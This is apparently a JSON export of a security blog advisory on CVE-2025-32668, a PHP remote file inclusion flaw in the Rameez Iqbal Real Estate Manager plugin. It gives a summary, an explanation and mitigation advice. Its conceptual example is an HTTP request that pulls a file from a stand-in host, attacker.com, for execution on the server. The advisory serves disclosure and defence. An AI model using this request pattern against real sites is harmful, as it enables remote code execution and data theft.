{"id":28502,"date":"2025-04-21T19:36:12","date_gmt":"2025-04-21T19:36:12","guid":{"rendered":""},"modified":"2025-09-12T00:48:18","modified_gmt":"2025-09-12T06:48:18","slug":"cve-2025-32668-critical-php-remote-file-inclusion-vulnerability-in-rameez-iqbal-real-estate-manager","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-32668-critical-php-remote-file-inclusion-vulnerability-in-rameez-iqbal-real-estate-manager\/","title":{"rendered":"<strong>CVE-2025-32668: Critical PHP Remote File Inclusion Vulnerability in Rameez Iqbal Real Estate Manager<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>In the ever-evolving world of cybersecurity, the discovery of new vulnerabilities is a regular occurrence. Recently, a critical security flaw has come into the spotlight, identified as CVE-2025-32668. It affects <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32294-uncontrolled-filename-in-php-program-allows-local-file-inclusion\/\"  data-wpil-monitor-id=\"56209\">PHP programs<\/a>, particularly the Rameez Iqbal Real Estate Manager, a popular software tool employed by real estate professionals globally. The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-23389-improper-access-control-vulnerability-in-suse-rancher\/\"  data-wpil-monitor-id=\"33348\">vulnerability lies in the improper control<\/a> of filename for Include\/Require statement in PHP Program, also known as PHP Remote File Inclusion. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-56406-buffer-overflow-vulnerability-in-perl-leading-to-potential-denial-of-service-and-code-execution\/\"  data-wpil-monitor-id=\"33123\">vulnerability is highly significant due to the potential<\/a> system compromise and data leakage it may cause.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-32668<br \/>\nSeverity: Critical (8.1)<br \/>\nAttack Vector: Remote<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: Required<br \/>\nImpact: System compromise or <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-50350-broken-cryptographic-algorithm-leads-to-potential-data-leakage-in-hcl-dryice-myxalytics\/\"  data-wpil-monitor-id=\"33711\">data leakage<\/a><\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2188084315\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Rameez Iqbal <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4601-privilege-escalation-vulnerability-in-rh-real-estate-wordpress-theme\/\"  data-wpil-monitor-id=\"60690\">Real Estate<\/a> Manager | n\/a through 7.3<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32614-php-remote-file-inclusion-vulnerability-in-ashan-perera-eventon\/\"  data-wpil-monitor-id=\"33048\">PHP Remote File Inclusion vulnerability<\/a> arises due to improper control of filename for Include\/Require statement in PHP programs. This essentially <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-48243-critical-remote-code-execution-vulnerability-allowing-unauthorized-file-upload\/\"  data-wpil-monitor-id=\"34105\">allows an attacker to include a file from a remote<\/a> server, which can contain malicious code. The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-29017-remote-code-execution-in-code-astro-internet-banking-system-2-0-0\/\"  data-wpil-monitor-id=\"32843\">code can then be executed<\/a> in the server-side context, potentially leading to unauthorized access, data leakage, or even total system compromise.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3276071150\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-50123-exploitable-vulnerability-in-hozard-alarm-system-sms-authentication\/\"  data-wpil-monitor-id=\"40113\">vulnerability could be exploited<\/a>. An attacker could craft a malicious payload and include it in the request to the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-21627-cross-site-scripting-vulnerability-in-prestashop-s-iscleanhtml-method\/\"  data-wpil-monitor-id=\"34504\">vulnerable PHP script<\/a>.<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/vulnerable\/endpoint.php?file=http:\/\/attacker.com\/malicious_file HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/x-www-form-urlencoded\n{ &quot;malicious_payload&quot;: &quot;...&quot; }<\/code><\/pre>\n<p>In this example, the `file` parameter in the URL is used to include a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7390-malicious-client-bypass-of-opc-https-server-certificate-trust-check\/\"  data-wpil-monitor-id=\"81890\">malicious file hosted on the attacker&#8217;s server<\/a> (`attacker.com`). This file is then executed on the server side, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-23391-incorrect-privilege-assignment-in-suse-rancher-potentially-leading-to-system-compromise\/\"  data-wpil-monitor-id=\"33078\">leading to potential system<\/a> compromise or data leakage.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>The simplest and most effective <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-43971-critical-vulnerability-in-gobgp-paving-the-way-for-system-compromise\/\"  data-wpil-monitor-id=\"40112\">way to mitigate this vulnerability<\/a> is to apply the vendor patch. For those users who cannot apply the patch immediately, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-31491-critical-vulnerability-in-autogpt-leads-to-leakage-of-cross-domain-cookies-and-protected-headers\/\"  data-wpil-monitor-id=\"34251\">protection by detecting and blocking attempts to exploit this vulnerability<\/a>. However, these are temporary solutions and updating to the patched version of the software as soon as possible is strongly recommended.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview In the ever-evolving world of cybersecurity, the discovery of new vulnerabilities is a regular occurrence. Recently, a critical security flaw has come into the spotlight, identified as CVE-2025-32668. It affects PHP programs, particularly the Rameez Iqbal Real Estate Manager, a popular software tool employed by real estate professionals globally. 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